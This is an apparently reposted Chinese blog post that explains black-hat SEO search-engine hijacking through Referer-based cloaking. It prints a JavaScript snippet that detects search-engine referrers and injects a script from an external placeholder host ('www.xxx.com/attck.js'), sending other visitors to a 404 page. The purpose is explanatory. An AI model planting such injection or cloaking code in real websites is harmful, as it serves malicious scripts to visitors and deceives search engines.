黑帽SEO之搜索引擎劫持-域名劫持原理分析

問題起源

????????這是在《Web安全深度剖析》的第二章“深入HTTP請求流程”的2.3章節“黑帽SEO之搜索引擎劫持”提到的內容,但是書中描述并不詳細,沒有講如何攻擊達到域名劫持的效果。

????????書中對SEO搜索引擎劫持的現象描述如下:直接輸入網站的域名可以進入網站,但是通過在百度或者谷歌等搜索引擎通過關鍵字看到自己的網站后,點擊鏈接會跳轉到其他網站,黑帽SEO利用HTTP協議中Referer和瀏覽器客戶端User-agent字段來欺騙搜索引擎,這到底是如何做到的呢?

原始劫持步驟描述

????????書中提到當用戶通過百度或者谷歌搜索引擎打開網站時,一般會引出源頁面(Referer消息頭),利用這點就可以用任何Web語言進行針對搜索引擎的流量劫持,步驟如下:

????????1.首先建立劫持搜索引擎庫,比如以Baidu、Google等域名為關鍵字

????????2.獲取HTTP Referer首部信息。

????????3.遍歷搜索引擎庫,并與referer的內容相比較,如果兩者相同或者存在搜索引擎關鍵字,那么頁面將會發生跳轉,也就是域名劫持。

????????對于書中這部分講解,我認為講解的很模糊,怎么比較Referer字段相同或者存在關鍵字就發生域名劫持,還有就是與UserAgent字段也沒有關系啊,只在后面提了一句Useragent主要用于劫持搜索引擎的蜘蛛。整體來說書中P25頁的內容比較抽象,看過只覺得云里霧里,沒有邏輯性。

SEO域名劫持原理分析

HTTP協議

????????這里我先介紹下HTTP協議中這兩個字段的含義,對比如下表所示

字段RefererUser-Agent
作用表示當前請求是從哪個頁面鏈接或跳轉過來的標識請求的客戶端(瀏覽器、爬蟲、應用程序等)的軟硬件信息
示例值Referer: https://example.com/page1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
示例含義

從 https://example.com/page1 點擊鏈接跳轉到 https://example.com/page2,則訪問 page2 的請求中會包含:

Referer: https://example.com/page1

代表發起請求的客戶端的軟硬件信息為
Windows NT 10.0:操作系統為 Windows 10。
Chrome/120.0.0.0:瀏覽器為 Chrome 120 版本。
Safari/537.36:兼容 Safari 內核。
隱私問題可能泄露用戶瀏覽歷史可能泄露設備信息
是否可空直接輸入地址訪問時為空必須存在(但可偽造)

????????基于此可知,如果我們在百度搜索"csdn",引擎搜索關鍵字看到的網站,打開csdn的網頁鏈接,如下所示

? ? ? ? Referer一般應該為搜索關鍵字的頁面(也就是對應的搜索引擎頁面),內容大概如下所示

https://www.baidu.com/s?ie=utf-8&f=8&rsv_bp=1&rsv_idx=1&tn=baidu&wd=csdn&fenlei=256&oq=csdn

分析攻擊原理

????????在原始劫持步驟的第三步中提到,當Referer的內容與搜索引擎庫匹配時發生跳轉,這是什么原理呢?由于Referer內容為搜索引擎的相關信息,為何匹配上就攻擊成功呢,這是因為書中在講解這個步驟時沒有描述攻擊腳本信息,假設有如下攻擊腳本:

// 定義一個正則表達式,用于匹配常見的搜索引擎域名
// 匹配格式:.引擎名.后綴(如 .baidu.com、.google.com.hk)
// 修飾符:i(忽略大小寫)、g(全局匹配)
var regexp = /\.(sogou|so|haosou|baidu|google|youdao|yahoo|bing|gougou|118114|360|sm|sp)(\.[a-z0-9\-]+){1,2}\//ig;// 獲取當前頁面的來源頁地址(即HTTP請求頭中的Referer字段)
var where = document.referer;// 檢查來源頁地址是否匹配正則表達式(即是否來自搜索引擎)
if (regexp.test(where)) {// 如果來自搜索引擎,動態插入一個惡意腳本// 該腳本可能用于SEO作弊、流量劫持或攻擊行為document.write('<script language="javascript" type="text/javascript" src="http://www.xxx.com/attck.js"></script>');
} else {// 如果不是來自搜索引擎,跳轉到404頁面(可能用于隱藏真實內容)window.location.href = "../../404.htm";
}

? ? ? ? 該腳本通過檢測HTTP請求的Referer字段,判斷用戶訪問的網址來源是否來自搜索引擎(如百度、Google等)。如果匹配成功(即流量來自搜索引擎爬蟲或搜索結果頁跳轉,代碼來看就是egexp正則表達式中的關鍵字),則動態插入惡意JavaScript腳本(腳本中的掛馬腳本src=”http://www.xxx.com/attck.js”),可能用于SEO作弊(如偽造內容、刷排名)、流量劫持(跳轉至惡意網站)或注入攻擊代碼(如XSS、挖礦腳本)。而普通用戶直接訪問時,則會被重定向至404頁面,使惡意內容僅對搜索引擎可見,從而實現Cloaking(偽裝攻擊),欺騙搜索引擎收錄虛假內容,劫持搜索流量。這種手法屬于黑帽SEO,嚴重違反搜索引擎規則,可能導致網站被降權或封禁。

總結

? ? ? ? 綜上所述,原始的步驟就可以解釋通了,我們再來回顧下這個步驟,攻擊過程可以拆解為 “檢測來源 → 匹配搜索引擎 → 執行劫持”*三個階段,具體如下:

1. 建立搜索引擎劫持庫

- 通過腳本中的如下正則表達式來實現關鍵字的搜索引擎庫

var regexp = /\.(sogou|so|haosou|baidu|google|youdao|yahoo|bing|gougou|118114|360|sm|sp)(\.[a-z0-9\-]+){1,2}\//ig;

? - 匹配的域名包括:`.baidu.com`、`.google.com.hk`、`.bing.com` 等。 ?
? - 匹配規則: ?
? ? - `\.(引擎名)`:匹配域名中的搜索引擎關鍵字(如 `.baidu`)。 ?
? ? - `(\.[a-z0-9\-]+){1,2}`:匹配頂級域名(如 `.com`、`.com.hk`)。 ?

2. 獲取并檢測HTTP Referer字段

? 瀏覽器在請求網頁時會自動攜帶 `Referer` 字段,標明當前請求的來源頁面。 ?
? - 例如:用戶通過百度搜索結果頁訪問時,`Referer` 值為: ?

Referer: https://www.baidu.com/link?url=xxx

這時使用腳本來匹配refer中字段是否包含搜索引擎相關的關鍵字,即可判斷流量是否為搜索引擎流量。

3. 執行劫持:差異化響應攻擊

? 當流量被識別為來自搜索引擎時,腳本動態插入惡意代碼可能導致SEO域名劫持等問題: ?

document.write('<script src="http://www.xxx.com/attck.js"></script>');

????????然而當不匹配搜索引擎時,比如只是普通用戶則不發起攻擊,這里腳本選擇跳轉到404頁面, 目的應該是避免普通用戶發現異常,僅對搜索引擎暴露惡意內容: ?

? window.location.href = "../../404.htm";

綜上所示,攻擊流程如下所示:?


本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/74181.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/74181.shtml
英文地址,請注明出處:http://en.pswp.cn/web/74181.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

theos工具來編譯xcode的swiftUI項目為ipa文件

Theos 是一個開源的開發工具套件&#xff0c;主要用于為 iOS/macOS 平臺開發和編譯 越獄插件&#xff08;Tweaks&#xff09;、動態庫、命令行工具等。它由 Dustin Howett 創建&#xff0c;并被廣泛用于越獄社區的開發中。但這里我主要使用它的打包ipa功能&#xff0c;因為我的…

25.4.1學習總結【Java】

動態規劃題 2140. 解決智力問題https://leetcode.cn/problems/solving-questions-with-brainpower/ 給你一個下標從 0 開始的二維整數數組 questions &#xff0c;其中 questions[i] [pointsi, brainpoweri] 。 這個數組表示一場考試里的一系列題目&#xff0c;你需要 按順…

計算機網絡知識點匯總與復習——(二)物理層

Preface 計算機網絡是考研408基礎綜合中的一門課程&#xff0c;它的重要性不言而喻。然而&#xff0c;計算機網絡的知識體系龐大且復雜&#xff0c;各類概念、協議和技術相互關聯&#xff0c;讓人在學習時容易迷失方向。在進行復習時&#xff0c;面對龐雜的的知識點&#xff0c…

string的底層原理

一.構造函數 我們來看一下&#xff0c;string的底層就是一個字符型指針和一個size來表示string的大小&#xff0c;capacity來表示分配的內存大小。 我們來看我們注釋掉的第一個構造函數&#xff0c;我們是通過初始化列表來初始化size的大小&#xff0c;再通過size的大小來初始化…

Python FastAPI + Celery + RabbitMQ 分布式圖片水印處理系統

FastAPI 服務器Celery 任務隊列RabbitMQ 作為消息代理定時任務處理 首先創建項目結構&#xff1a; c:\Users\Administrator\Desktop\meitu\ ├── app/ │ ├── __init__.py │ ├── main.py │ ├── celery_app.py │ ├── tasks.py │ └── config.py…

【藍橋杯】每日練習 Day18

目錄 前言 動態求連續區間和 分析 代碼 數星星 分析 代碼 星空之夜 分析 代碼 前言 接下來是今天的題目&#xff08;本來是有四道題的但是有一道題是前面講過&#xff08;逆序數的&#xff0c;感興趣的小伙伴可以去看我歸并排序的那一篇&#xff09;的我就不再過多贅…

基于銀河麒麟桌面服務器操作系統的 DeepSeek本地化部署方法【詳細自用版】

一、3種方式使用DeepSeek 1.本地部署 服務器操作系統環境進行,具體流程如下(桌面環境步驟相同): 本例所使用銀河麒麟高級服務器操作系統版本信息: (1)安裝ollama 方式一:按照ollama官網的下載指南,執行如下命令: curl -fsSL https://ollama.com/install.sh | sh方…

Python入門(7):Python序列結構-字典

字典Dictionary 字典(dictionary)和列表類似&#xff0c;也是可變序列&#xff0c;不過與列表不同&#xff0c;它是無序的可變序列&#xff0c;保存的為容是以“鍵-值對”的形式存放的。 Python 中的字典相當于 Java 或者 C中的 Map 對象。在C#中,就是Dictionary<TKey,TVa…

Flutter項目之構建打包分析

目錄&#xff1a; 1、準備部分2、構建Android包2.1、配置修改部分2.2、編譯打包 3、構建ios包3.1、配置修改部分3.2、編譯打包 1、準備部分 2、構建Android包 2.1、配置修改部分 2.2、編譯打包 執行flutter build apk命令進行打包。 3、構建ios包 3.1、配置修改部分 3.2、編譯…

不用再付費~全網書源一鍵下載,實現閱讀自由!!!

現在市面上有許多免費你看書的軟件&#xff0c;但都軟件內太多廣告彈窗&#xff0c;這無疑是很煩&#xff0c;有事一不小心點進去就下載了軟件&#xff0c;簡直讓人頭大&#xff01; 如果你遇到這樣的難題那么就應該看下本文~ 這是一款能一鍵將在線連載小說整合下載成標準格式&…

GCC RISCV 后端 -- GIMPLE IR 表示的一些理解

C/C源代碼經過 GCC 解析&#xff08;Parse&#xff09;及轉換后&#xff0c;通過 GIMPLE IR 予以表示&#xff08;Representation&#xff09;。其中&#xff0c;一個C/C源文件&#xff0c;通過 宏處理后&#xff0c;形成一個 轉譯單元&#xff08;Translation Unit&#xff09…

JAVA設計模式之適配器模式《太白金星有點煩》

太白金星握著月光凝成的鼠標&#xff0c;第108次檢查南天門服務器的運行日志。這個剛從天樞院調來的三等仙官&#xff0c;此刻正盯著瑤池主機房里的青銅鼎發愁——鼎身上"天地同壽"的云紋間&#xff0c;漂浮著三界香火系統每分鐘吞吐的十萬條功德數據。看著居高不下的…

以太坊DApp開發腳手架:Scaffold-ETH 2 詳細介紹與搭建教程

一、什么是Scaffold-ETH 2 Scaffold-ETH 2是一個開源的最新工具包&#xff0c;類似于腳手架。用于在以太坊區塊鏈上構建去中心化應用程序 &#xff08;DApp&#xff09;。它旨在使開發人員更容易創建和部署智能合約&#xff0c;并構建與這些合約交互的用戶界面。 Scaffold-ETH…

畢業設計:實現一個基于Python、Flask和OpenCV的人臉打卡Web系統(六)

畢業設計:實現一個基于Python、Flask和OpenCV的人臉打卡Web系統(六) Flask Flask是一個使用 Python 編寫的輕量級 Web 應用框架。其 WSGI 工具箱采用 Werkzeug ,模板引擎則使用 Jinja2 。Flask使用 BSD 授權。 Flask也被稱為 “microframework” ,因為它使用簡單的核心,…

第十一章 VGA顯示圖片(還不會)

FPGA至簡設計實例 前言 一、項目背景 1. IP核概述 IP 核(Intellectual Property core)指的是知識產權核或知識產權模塊,其是具有特定電路功能的硬件描述語言程序,在EDA技術開發中具有十分重要的地位。美國著名的Dataquest咨詢公司將 半導體產業的IP定義為“用于ASIC或FPGA…

浙江大學公開課|第二季|從大模型、智能體到復雜AI應用系統的構建——以產業大腦為例

大家好&#xff0c;我是吾鳴。 前沿回顧 吾鳴之前給大家分享過浙江大學DeepSeek系列公開課第一季&#xff0c;第一季一共八講&#xff0c;內容介紹豐富&#xff0c;內容之廣&#xff0c;看完粉絲朋友直呼浙大良心。這八講公開課名稱分別是&#xff1a; 第一期&#xff08;上&…

Spring AOP中為所有類型通知傳遞參數的完整示例,包含詳細注釋和參數傳遞方式

以下是Spring AOP中為所有類型通知傳遞參數的完整示例&#xff0c;包含詳細注釋和參數傳遞方式&#xff1a; // 1. 目標類&#xff08;被增強的類&#xff09; package com.example;public class TargetService {public void doTask(String param) {System.out.println("…

【Git教程】將dev分支合并到master后,那么dev分支該如何處理

將 dev 合并到 master 后的分支狀態與操作指南 1. 合并后的分支狀態 dev 分支不會消失&#xff1a; Git 的 git merge 命令僅將 dev 的內容合并到 master&#xff0c;不會刪除 dev 分支。合并后&#xff0c;dev 分支仍然存在&#xff0c;其歷史記錄和代碼保持不變。 分支的 H…

【go】異常處理panic和recover

panic 和 recover 當然能觸發程序宕機退出的&#xff0c;也可以是我們自己&#xff0c;比如經過檢查判斷&#xff0c;當前環境無法達到我們程序進行的預期條件時&#xff08;比如一個服務指定監聽端口被其他程序占用&#xff09;&#xff0c;可以手動觸發 panic&#xff0c;讓…

CSS層疊順序

介紹 在 CSS 中&#xff0c;元素的層疊順序決定了當多個元素重疊時&#xff08;跟布局沒有完全的關系&#xff0c;也就是說層疊順序只會在幾個疊放元素上進行比較&#xff0c;而不會改變布局&#xff09;&#xff0c;哪個元素顯示在最上面&#xff0c;哪個元素顯示在最下面。 …